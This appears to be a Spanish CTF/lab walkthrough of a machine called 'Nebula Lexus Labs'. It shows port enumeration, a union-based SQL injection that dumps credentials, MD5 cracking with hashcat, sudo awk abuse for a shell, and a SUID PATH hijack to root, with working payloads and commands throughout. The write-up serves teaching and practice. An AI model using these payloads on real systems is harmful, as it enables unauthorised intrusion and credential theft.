Enumeración de servicios
Comenzamos con un escaneo general y uno específico de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.19
❯ nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.19
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-10 14:46 -03
Nmap scan report for 192.168.1.19
Host is up (0.00030s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 63:9c:2e:57:91:af:1e:2e:25:ba:55:fd:ba:48:a8:60 (RSA)
| 256 d0:05:24:1d:a8:99:0e:d6:d1:e5:c5:5b:40:6a:b9:f9 (ECDSA)
|_ 256 d8:4a:b8:86:9d:66:6d:7f:a4:cb:d0:73:a1:f4:b5:19 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Nebula Lexus Labs
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.47 secondsEnumeramos con gobuster:
...
/index.php (Status: 200) [Size: 3479]
/img (Status: 200) [Size: 1121]
/login (Status: 200) [Size: 1551]
/joinus (Status: 200) [Size: 1712]
...SQL injection en el dashboard
En /joinus hay un enlace a un PDF que contiene unas credenciales. Las usamos en el login y accedemos a un dashboard con un buscador de centrals y meeting room. Probamos SQL Injection en el buscador:
' UNION SELECT 1,2,3-- -La consulta de prueba usa tres valores porque la parte legítima del SELECT devuelve tres columnas. Una inyección basada en UNION sólo funciona si ambos lados tienen el mismo número de columnas y tipos compatibles. Además, observar 1, 2 y 3 en la respuesta permite identificar qué posiciones se reflejan y dónde conviene insertar los datos extraídos.
Enumeramos las bases de datos:
' UNION SELECT 1,information_schema,3 FROM schema.schemata-- -id role username
1 information_schema 3
1 nebuladb 3Confirmamos la base activa y enumeramos sus tablas:
' UNION SELECT database()-- -
id role username
1 nebuladb 3' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='nebuladb'-- -id role username
1 centrals 3
1 users 3
1 central 3Enumeramos las columnas de users:
' UNION SELECT 1, GROUP_CONCAT(column_name), 3 FROM information_schema.columns WHERE table_schema='nebuladb' AND table_name='users'-- -
id role username
1 id,username,password,is_admin 3Volcamos sus datos (solo válidos para el login web):
' UNION SELECT 1, GROUP_CONCAT(username,0x3a,password,0x3a,is_admin), 3 FROM users-- -No conviene asumir que toda cuenta encontrada en una base de datos es una cuenta de Linux. Los nombres de las columnas de users describen autenticación y privilegios de la aplicación. En cambio, userssh y passwordssh en centrals indican expresamente otro contexto de uso y justifican probar esas credenciales contra el puerto 22.
Acceso SSH y movimiento lateral
La tabla centrals tiene columnas userssh y passwordssh, que son las interesantes para acceso por SSH:
' UNION SELECT 1, GROUP_CONCAT(userssh,0x3a,passwordssh), 3 FROM centrals-- -
id role username
1 pmccentral:c8c605999f3d8352d7bb792cf3fdb25b 3Crackeamos el hash MD5 con hashcat:
❯ hashcat -a 0 -m 0 "c8c605999f3d8352d7bb792cf3fdb25b" ~/Documentos/wordlists/rockyou.txt
...
c8c605999f3d8352d7bb792cf3fdb25b:999999999
...Nos conectamos como pmccentral y revisamos sudo -l:
pmccentral@laboratoryuser:~$ sudo -l
[sudo] password for pmccentral:
Matching Defaults entries for pmccentral on laboratoryuser:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pmccentral may run the following commands on laboratoryuser:
(laboratoryadmin) /usr/bin/awkLa regla permite un Sudo-Allowed Program Abuse mediante awk. Podemos ejecutarlo como laboratoryadmin y aprovechar su función system() para obtener una shell de ese usuario y la primera flag:
pmccentral@laboratoryuser:~$ sudo -u laboratoryadmin awk 'BEGIN {system("/bin/sh")}'awk no se limita a procesar texto: su función system() puede iniciar programas externos. Como sudo arranca el proceso con la identidad de laboratoryadmin, la shell creada por awk hereda ese usuario. Esto produce movimiento lateral, todavía no acceso a root.
Escalada de privilegios
Analizando el directorio del usuario, encontramos un binario SUID que, según strings, invoca head por su ruta relativa. Al no utilizar /usr/bin/head, el sistema busca el ejecutable en los directorios de PATH, de izquierda a derecha. En /home/laboratoryadmin/autoScripts preparamos un archivo llamado head que ejecuta bash -p y anteponemos ese directorio al PATH antes de lanzar nuevamente el binario SUID.
El proceso vulnerable conserva el EUID de su propietario, root, y termina ejecutando nuestro head en ese contexto. La opción -p evita que Bash descarte los privilegios efectivos. Las notas originales no conservaron el nombre ni la salida exacta del binario SUID, por lo que se documenta el mecanismo comprobado sin reconstruir comandos que no quedaron registrados.
La condición crítica del PATH Hijacking no es únicamente que el programa invoque head sin ruta absoluta. También necesitamos controlar un directorio consultado antes que /usr/bin y conseguir que el proceso SUID conserve el entorno utilizado para resolver el ejecutable. La combinación de ambas condiciones transforma una llamada auxiliar legítima en ejecución de código con EUID 0.
Capturamos la flag final.
Fin.